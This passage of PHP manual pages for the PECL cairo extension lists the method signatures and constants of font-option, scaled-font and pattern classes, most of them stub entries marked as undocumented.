public int getHintMetrics ( void )
public int getHintStyle ( void )
public int getSubpixelOrder ( void )
public int hash ( void )
public void merge ( string $other )
public void setAntialias ( string $antialias )
public void setHintMetrics ( string $hint_metrics )
public void setHintStyle ( string $hint_style )
public void setSubpixelOrder ( string $subpixel_order )
public int status ( void )
}

Table of Contents

  • CairoFontOptions::__construct — The __construct purpose
  • CairoFontOptions::equal — The equal purpose
  • CairoFontOptions::getAntialias — The getAntialias purpose
  • CairoFontOptions::getHintMetrics — The getHintMetrics purpose
  • CairoFontOptions::getHintStyle — The getHintStyle purpose
  • CairoFontOptions::getSubpixelOrder — The getSubpixelOrder purpose
  • CairoFontOptions::hash — The hash purpose
  • CairoFontOptions::merge — The merge purpose
  • CairoFontOptions::setAntialias — The setAntialias purpose
  • CairoFontOptions::setHintMetrics — The setHintMetrics purpose
  • CairoFontOptions::setHintStyle — The setHintStyle purpose
  • CairoFontOptions::setSubpixelOrder — The setSubpixelOrder purpose
  • CairoFontOptions::status — The status purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoFontOptions
  • CairoFontOptions::equal »
  • PHP Manual
  • CairoFontOptions
  • The __construct purpose

CairoFontOptions::__construct

(PECL cairo >= 0.1.0)

CairoFontOptions::__construct — The __construct purpose

Description

public CairoFontOptions::__construct ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The equal purpose

  • « CairoFontOptions::__construct
  • CairoFontOptions::getAntialias »
  • PHP Manual
  • CairoFontOptions
  • The equal purpose

CairoFontOptions::equal

(PECL cairo >= 0.1.0)

CairoFontOptions::equal — The equal purpose

Description

public bool CairoFontOptions::equal ( string $other )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

other

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::equal() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getAntialias purpose

  • « CairoFontOptions::equal
  • CairoFontOptions::getHintMetrics »
  • PHP Manual
  • CairoFontOptions
  • The getAntialias purpose

CairoFontOptions::getAntialias

cairo_get_antialias

(PECL cairo >= 0.1.0)

CairoFontOptions::getAntialias -- cairo_get_antialias — The getAntialias purpose

Description

Object oriented style (method):

public int CairoFontOptions::getAntialias ( void )

Procedural style:

int cairo_get_antialias ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getHintMetrics purpose

  • « CairoFontOptions::getAntialias
  • CairoFontOptions::getHintStyle »
  • PHP Manual
  • CairoFontOptions
  • The getHintMetrics purpose

CairoFontOptions::getHintMetrics

(PECL cairo >= 0.1.0)

CairoFontOptions::getHintMetrics — The getHintMetrics purpose

Description

public int CairoFontOptions::getHintMetrics ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::getHintMetrics() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getHintStyle purpose

  • « CairoFontOptions::getHintMetrics
  • CairoFontOptions::getSubpixelOrder »
  • PHP Manual
  • CairoFontOptions
  • The getHintStyle purpose

CairoFontOptions::getHintStyle

(PECL cairo >= 0.1.0)

CairoFontOptions::getHintStyle — The getHintStyle purpose

Description

public int CairoFontOptions::getHintStyle ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::getHintStyle() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getSubpixelOrder purpose

  • « CairoFontOptions::getHintStyle
  • CairoFontOptions::hash »
  • PHP Manual
  • CairoFontOptions
  • The getSubpixelOrder purpose

CairoFontOptions::getSubpixelOrder

(PECL cairo >= 0.1.0)

CairoFontOptions::getSubpixelOrder — The getSubpixelOrder purpose

Description

public int CairoFontOptions::getSubpixelOrder ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::getSubpixelOrder() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The hash purpose

  • « CairoFontOptions::getSubpixelOrder
  • CairoFontOptions::merge »
  • PHP Manual
  • CairoFontOptions
  • The hash purpose

CairoFontOptions::hash

(PECL cairo >= 0.1.0)

CairoFontOptions::hash — The hash purpose

Description

public int CairoFontOptions::hash ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::hash() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The merge purpose

  • « CairoFontOptions::hash
  • CairoFontOptions::setAntialias »
  • PHP Manual
  • CairoFontOptions
  • The merge purpose

CairoFontOptions::merge

(PECL cairo >= 0.1.0)

CairoFontOptions::merge — The merge purpose

Description

public void CairoFontOptions::merge ( string $other )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

other

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::merge() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setAntialias purpose

  • « CairoFontOptions::merge
  • CairoFontOptions::setHintMetrics »
  • PHP Manual
  • CairoFontOptions
  • The setAntialias purpose

CairoFontOptions::setAntialias

cairo_set_antialias

(PECL cairo >= 0.1.0)

CairoFontOptions::setAntialias -- cairo_set_antialias — The setAntialias purpose

Description

Object oriented style (method):

public void CairoFontOptions::setAntialias ( string $antialias )

Procedural style:

void cairo_set_antialias ( CairoContext $context [, string $antialias ] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

antialias

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setHintMetrics purpose

  • « CairoFontOptions::setAntialias
  • CairoFontOptions::setHintStyle »
  • PHP Manual
  • CairoFontOptions
  • The setHintMetrics purpose

CairoFontOptions::setHintMetrics

(PECL cairo >= 0.1.0)

CairoFontOptions::setHintMetrics — The setHintMetrics purpose

Description

public void CairoFontOptions::setHintMetrics ( string $hint_metrics )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

hint_metrics

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::setHintMetrics() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setHintStyle purpose

  • « CairoFontOptions::setHintMetrics
  • CairoFontOptions::setSubpixelOrder »
  • PHP Manual
  • CairoFontOptions
  • The setHintStyle purpose

CairoFontOptions::setHintStyle

(PECL cairo >= 0.1.0)

CairoFontOptions::setHintStyle — The setHintStyle purpose

Description

public void CairoFontOptions::setHintStyle ( string $hint_style )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

hint_style

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::setHintStyle() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setSubpixelOrder purpose

  • « CairoFontOptions::setHintStyle
  • CairoFontOptions::status »
  • PHP Manual
  • CairoFontOptions
  • The setSubpixelOrder purpose

CairoFontOptions::setSubpixelOrder

(PECL cairo >= 0.1.0)

CairoFontOptions::setSubpixelOrder — The setSubpixelOrder purpose

Description

public void CairoFontOptions::setSubpixelOrder ( string $subpixel_order )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

subpixel_order

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::setSubpixelOrder() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The status purpose

  • « CairoFontOptions::setSubpixelOrder
  • CairoFontSlant »
  • PHP Manual
  • CairoFontOptions
  • The status purpose

CairoFontOptions::status

cairo_status

(PECL cairo >= 0.1.0)

CairoFontOptions::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoFontOptions::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoFontSlant class

(No version information available, might only be in Git)

Introduction

Specifies variants of a font face based on their slant.

Class synopsis

CairoFontSlant {
/* Constants */
const integer NORMAL = 0 ;
const integer ITALIC = 1 ;
const integer OBLIQUE = 2 ;
}

Predefined Constants

CairoFontSlant::NORMAL

Upright font style

CairoFontSlant::ITALIC

Italic font style

CairoFontSlant::OBLIQUE

Oblique font style

User Contributed Notes

There are no user contributed notes for this page.


The CairoFontType class

(No version information available, might only be in Git)

Introduction

CairoFontType class is an abstract final class that contains constants used to describe the type of a given CairoFontFace or CairoScaledFont. The font types are also known as "font backends" within cairo.

The type of a CairoFontFace is determined by the how it is created, an example would be the CairoToyFontFace::__construct(). The CairoFontFace type can be queried with CairoFontFace::getType() or cairo_font_face_get_type()

The various CairoFontFace functions can be used with a font face of any type.

The type of a CairoScaledFont is determined by the type of the CairoFontFace passed to CairoScaledFont::__construct() or cairo_scaled_font_create(). The scaled font type can be queried with CairoScaledFont::getType() or cairo_scaled_font_get_type().

Class synopsis

CairoFontType {
/* Constants */
const integer TOY = 0 ;
const integer FT = 1 ;
const integer WIN32 = 2 ;
const integer QUARTZ = 3 ;
}

Predefined Constants

CairoFontType::TOY

The font was created using CairoToyFont api

CairoFontType::FT

The font is of type CairoFreeType

CairoFontType::WIN32

The font is of type Win32

CairoFontType::QUARTZ

The font is of type Quartz

CairoFontType::USER

The font was create using cairo's user font api

User Contributed Notes

There are no user contributed notes for this page.


The CairoFontWeight class

(No version information available, might only be in Git)

Introduction

Specifies variants of a font face based on their weight.

Class synopsis

CairoFontWeight {
/* Constants */
const integer NORMAL = 0 ;
const integer BOLD = 1 ;
}

Predefined Constants

CairoFontWeight::NORMAL

Normal font weight

CairoFontWeight::BOLD

Bold font weight

User Contributed Notes

There are no user contributed notes for this page.


The CairoScaledFont class

(PECL cairo >= 0.1.0)

Introduction

Class synopsis

CairoScaledFont {
/* Methods */
public __construct ( CairoFontFace $font_face , CairoMatrix $matrix , CairoMatrix $ctm , CairoFontOptions $options )
public array extents ( void )
public CairoMatrix getCtm ( void )
public void getFontFace ( void )
public void getFontMatrix ( void )
public void getFontOptions ( void )
public void getScaleMatrix ( void )
public int getType ( void )
public array glyphExtents ( string $glyphs )
public int status ( void )
public array textExtents ( string $text )
}

Table of Contents

  • CairoScaledFont::__construct — The __construct purpose
  • CairoScaledFont::extents — The extents purpose
  • CairoScaledFont::getCtm — The getCtm purpose
  • CairoScaledFont::getFontFace — The getFontFace purpose
  • CairoScaledFont::getFontMatrix — The getFontMatrix purpose
  • CairoScaledFont::getFontOptions — The getFontOptions purpose
  • CairoScaledFont::getScaleMatrix — The getScaleMatrix purpose
  • CairoScaledFont::getType — The getType purpose
  • CairoScaledFont::glyphExtents — The glyphExtents purpose
  • CairoScaledFont::status — The status purpose
  • CairoScaledFont::textExtents — The textExtents purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoScaledFont
  • CairoScaledFont::extents »
  • PHP Manual
  • CairoScaledFont
  • The __construct purpose

CairoScaledFont::__construct

(PECL cairo >= 0.1.0)

CairoScaledFont::__construct — The __construct purpose

Description

public CairoScaledFont::__construct ( CairoFontFace $font_face , CairoMatrix $matrix , CairoMatrix $ctm , CairoFontOptions $options )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

font_face

Description...

matrix

Description...

ctm

Description...

options

Description...

Return Values

Description...

Examples

Example #1 CairoScaledFont::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The extents purpose

  • « CairoScaledFont::__construct
  • CairoScaledFont::getCtm »
  • PHP Manual
  • CairoScaledFont
  • The extents purpose

CairoScaledFont::extents

(PECL cairo >= 0.1.0)

CairoScaledFont::extents — The extents purpose

Description

public array CairoScaledFont::extents ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoScaledFont::extents() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getCtm purpose

  • « CairoScaledFont::extents
  • CairoScaledFont::getFontFace »
  • PHP Manual
  • CairoScaledFont
  • The getCtm purpose

CairoScaledFont::getCtm

(PECL cairo >= 0.1.0)

CairoScaledFont::getCtm — The getCtm purpose

Description

public CairoMatrix CairoScaledFont::getCtm ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoScaledFont::getCtm() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFontFace purpose

  • « CairoScaledFont::getCtm
  • CairoScaledFont::getFontMatrix »
  • PHP Manual
  • CairoScaledFont
  • The getFontFace purpose

CairoScaledFont::getFontFace

cairo_get_font_face

(PECL cairo >= 0.1.0)

CairoScaledFont::getFontFace -- cairo_get_font_face — The getFontFace purpose

Description

Object oriented style (method):

public void CairoScaledFont::getFontFace ( void )

Procedural style:

void cairo_get_font_face ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFontMatrix purpose

  • « CairoScaledFont::getFontFace
  • CairoScaledFont::getFontOptions »
  • PHP Manual
  • CairoScaledFont
  • The getFontMatrix purpose

CairoScaledFont::getFontMatrix

cairo_get_font_matrix

(PECL cairo >= 0.1.0)

CairoScaledFont::getFontMatrix -- cairo_get_font_matrix — The getFontMatrix purpose

Description

Object oriented style (method):

public void CairoScaledFont::getFontMatrix ( void )

Procedural style:

void cairo_get_font_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFontOptions purpose

  • « CairoScaledFont::getFontMatrix
  • CairoScaledFont::getScaleMatrix »
  • PHP Manual
  • CairoScaledFont
  • The getFontOptions purpose

CairoScaledFont::getFontOptions

cairo_get_font_options

(PECL cairo >= 0.1.0)

CairoScaledFont::getFontOptions -- cairo_get_font_options — The getFontOptions purpose

Description

Object oriented style (method):

public void CairoScaledFont::getFontOptions ( void )

Procedural style:

void cairo_get_font_options ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getScaleMatrix purpose

  • « CairoScaledFont::getFontOptions
  • CairoScaledFont::getType »
  • PHP Manual
  • CairoScaledFont
  • The getScaleMatrix purpose

CairoScaledFont::getScaleMatrix

(PECL cairo >= 0.1.0)

CairoScaledFont::getScaleMatrix — The getScaleMatrix purpose

Description

public void CairoScaledFont::getScaleMatrix ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoScaledFont::getScaleMatrix() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getType purpose

  • « CairoScaledFont::getScaleMatrix
  • CairoScaledFont::glyphExtents »
  • PHP Manual
  • CairoScaledFont
  • The getType purpose

CairoScaledFont::getType

(PECL cairo >= 0.1.0)

CairoScaledFont::getType — The getType purpose

Description

public int CairoScaledFont::getType ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoScaledFont::getType() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The glyphExtents purpose

  • « CairoScaledFont::getType
  • CairoScaledFont::status »
  • PHP Manual
  • CairoScaledFont
  • The glyphExtents purpose

CairoScaledFont::glyphExtents

(PECL cairo >= 0.1.0)

CairoScaledFont::glyphExtents — The glyphExtents purpose

Description

public array CairoScaledFont::glyphExtents ( string $glyphs )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

glyphs

Description...

Return Values

Description...

Examples

Example #1 CairoScaledFont::glyphExtents() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The status purpose

  • « CairoScaledFont::glyphExtents
  • CairoScaledFont::textExtents »
  • PHP Manual
  • CairoScaledFont
  • The status purpose

CairoScaledFont::status

cairo_status

(PECL cairo >= 0.1.0)

CairoScaledFont::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoScaledFont::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The textExtents purpose

  • « CairoScaledFont::status
  • CairoToyFontFace »
  • PHP Manual
  • CairoScaledFont
  • The textExtents purpose

CairoScaledFont::textExtents

cairo_text_extents

(PECL cairo >= 0.1.0)

CairoScaledFont::textExtents -- cairo_text_extents — The textExtents purpose

Description

Object oriented style (method):

public array CairoScaledFont::textExtents ( string $text )

Procedural style:

array cairo_text_extents ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

text

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoToyFontFace class

(PECL cairo >= 0.1.0)

Introduction

The CairoToyFontFace class can be used instead of CairoContext::selectFontFace() to create a toy font independently of a context.

Class synopsis

CairoToyFontFace extends CairoFontFace {
/* Inherited methods */
}

User Contributed Notes

There are no user contributed notes for this page.


The CairoPatternType class

(No version information available, might only be in Git)

Introduction

CairoPatternType is used to describe the type of a given pattern.

The type of a pattern is determined by the function used to create it. The cairo_pattern_create_rgb() and cairo_pattern_create_rgba() functions create CairoPatternType::SOLID patterns. The remaining cairo_pattern_create_* functions map to pattern types in obvious ways.

Class synopsis

CairoPatternType {
/* Constants */
const integer SOLID = 0 ;
const integer SURFACE = 1 ;
const integer LINEAR = 2 ;
const integer RADIAL = 3 ;
}

Predefined Constants

CairoPatternType::SOLID

The pattern is a solid (uniform) color. It may be opaque or translucent.

CairoPatternType::SURFACE

The pattern is a based on a surface (an image).

CairoPatternType::LINEAR

The pattern is a linear gradient.

CairoPatternType::RADIAL

The pattern is a radial gradient.

User Contributed Notes

There are no user contributed notes for this page.


The CairoPattern class

(PECL cairo >= 0.1.0)

Introduction

CairoPattern is the abstract base class from which all the other pattern classes derive. It cannot be instantiated directly

Class synopsis

CairoPattern {
/* Methods */
public __construct ( void )
public void getMatrix ( void )
public int getType ( void )
public void setMatrix ( string $matrix )
public int status ( void )
}

Table of Contents

  • CairoPattern::__construct — The __construct purpose
  • CairoPattern::getMatrix — The getMatrix purpose
  • CairoPattern::getType — The getType purpose
  • CairoPattern::setMatrix — The setMatrix purpose
  • CairoPattern::status — The status purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoPattern
  • CairoPattern::getMatrix »
  • PHP Manual
  • CairoPattern
  • The __construct purpose

CairoPattern::__construct

(PECL cairo >= 0.1.0)

CairoPattern::__construct — The __construct purpose

Description

public CairoPattern::__construct ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPattern::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getMatrix purpose

  • « CairoPattern::__construct
  • CairoPattern::getType »
  • PHP Manual
  • CairoPattern
  • The getMatrix purpose

CairoPattern::getMatrix

cairo_get_matrix

(PECL cairo >= 0.1.0)

CairoPattern::getMatrix -- cairo_get_matrix — The getMatrix purpose

Description

Object oriented style (method):

public void CairoPattern::getMatrix ( void )

Procedural style:

void cairo_get_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getType purpose

  • « CairoPattern::getMatrix
  • CairoPattern::setMatrix »
  • PHP Manual
  • CairoPattern
  • The getType purpose

CairoPattern::getType

(PECL cairo >= 0.1.0)

CairoPattern::getType — The getType purpose

Description

public int CairoPattern::getType ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPattern::getType() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setMatrix purpose

  • « CairoPattern::getType
  • CairoPattern::status »
  • PHP Manual
  • CairoPattern
  • The setMatrix purpose

CairoPattern::setMatrix

cairo_set_matrix

(PECL cairo >= 0.1.0)

CairoPattern::setMatrix -- cairo_set_matrix — The setMatrix purpose

Description

Object oriented style (method):

public void CairoPattern::setMatrix ( string $matrix )

Procedural style:

void cairo_set_matrix ( CairoContext $context , CairoMatrix $matrix )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

matrix

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The status purpose

  • « CairoPattern::setMatrix
  • CairoGradientPattern »
  • PHP Manual
  • CairoPattern
  • The status purpose

CairoPattern::status

cairo_status

(PECL cairo >= 0.1.0)

CairoPattern::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoPattern::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoGradientPattern class

(PECL cairo >= 0.1.0)

Introduction

CairoGradientPattern is an abstract base class from which other Pattern classes derive. It cannot be instantiated directly.

Class synopsis

CairoGradientPattern extends CairoPattern {
/* Methods */
public void addColorStopRgb ( string $offset , string $red , string $green , string $blue )
public void addColorStopRgba ( string $offset , string $red , string $green , string $blue , string $alpha )
public int getColorStopCount ( void )
public array getColorStopRgba ( string $index )
public int getExtend ( void )
public void setExtend ( int $extend )
/* Inherited methods */
public CairoPattern::__construct ( void )
public void CairoPattern::getMatrix ( void )
public int CairoPattern::getType ( void )
public void CairoPattern::setMatrix ( string $matrix )
public int CairoPattern::status ( void )
}

Table of Contents

  • CairoGradientPattern::addColorStopRgb — The addColorStopRgb purpose
  • CairoGradientPattern::addColorStopRgba — The addColorStopRgba purpose
  • CairoGradientPattern::getColorStopCount — The getColorStopCount purpose
  • CairoGradientPattern::getColorStopRgba — The getColorStopRgba purpose
  • CairoGradientPattern::getExtend — The getExtend purpose
  • CairoGradientPattern::setExtend — The setExtend purpose

User Contributed Notes

There are no user contributed notes for this page.


The addColorStopRgb purpose

  • « CairoGradientPattern
  • CairoGradientPattern::addColorStopRgba »
  • PHP Manual
  • CairoGradientPattern
  • The addColorStopRgb purpose

CairoGradientPattern::addColorStopRgb

(PECL cairo >= 0.1.0)

CairoGradientPattern::addColorStopRgb — The addColorStopRgb purpose

Description

public void CairoGradientPattern::addColorStopRgb ( string $offset , string $red , string $green , string $blue )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

offset

Description...

red

Description...

green

Description...

blue

Description...

Return Values

Description...

Examples

Example #1 CairoGradientPattern::addColorStopRgb() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The addColorStopRgba purpose

  • « CairoGradientPattern::addColorStopRgb
  • CairoGradientPattern::getColorStopCount »
  • PHP Manual
  • CairoGradientPattern
  • The addColorStopRgba purpose

CairoGradientPattern::addColorStopRgba

(PECL cairo >= 0.1.0)

CairoGradientPattern::addColorStopRgba — The addColorStopRgba purpose

Description

public void CairoGradientPattern::addColorStopRgba ( string $offset , string $red , string $green , string $blue , string $alpha )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

offset

Description...

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

Description...

Examples

Example #1 CairoGradientPattern::addColorStopRgba() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getColorStopCount purpose

  • « CairoGradientPattern::addColorStopRgba
  • CairoGradientPattern::getColorStopRgba »
  • PHP Manual
  • CairoGradientPattern
  • The getColorStopCount purpose

CairoGradientPattern::getColorStopCount

(PECL cairo >= 0.1.0)

CairoGradientPattern::getColorStopCount — The getColorStopCount purpose

Description

public int CairoGradientPattern::getColorStopCount ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoGradientPattern::getColorStopCount() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getColorStopRgba purpose

  • « CairoGradientPattern::getColorStopCount
  • CairoGradientPattern::getExtend »
  • PHP Manual
  • CairoGradientPattern
  • The getColorStopRgba purpose

CairoGradientPattern::getColorStopRgba

(PECL cairo >= 0.1.0)

CairoGradientPattern::getColorStopRgba — The getColorStopRgba purpose

Description

public array CairoGradientPattern::getColorStopRgba ( string $index )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

Description...

Return Values

Description...

Examples

Example #1 CairoGradientPattern::getColorStopRgba() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getExtend purpose

  • « CairoGradientPattern::getColorStopRgba
  • CairoGradientPattern::setExtend »
  • PHP Manual
  • CairoGradientPattern
  • The getExtend purpose

CairoGradientPattern::getExtend

(PECL cairo >= 0.1.0)

CairoGradientPattern::getExtend — The getExtend purpose

Description

public int CairoGradientPattern::getExtend ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoGradientPattern::getExtend() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setExtend purpose

  • « CairoGradientPattern::getExtend
  • CairoSolidPattern »
  • PHP Manual
  • CairoGradientPattern
  • The setExtend purpose

CairoGradientPattern::setExtend

(PECL cairo >= 0.1.0)

CairoGradientPattern::setExtend — The setExtend purpose

Description

public void CairoGradientPattern::setExtend ( int $extend )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

extend

Description...

Return Values

Description...

Examples

Example #1 CairoGradientPattern::setExtend() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoSolidPattern class

(PECL cairo >= 0.1.0)

Introduction

Class synopsis

CairoSolidPattern extends CairoPattern {
/* Methods */
public __construct ( float $red , float $green , float $blue [, float $alpha = 0 ] )
public array getRgba ( void )
/* Inherited methods */
public CairoPattern::__construct ( void )
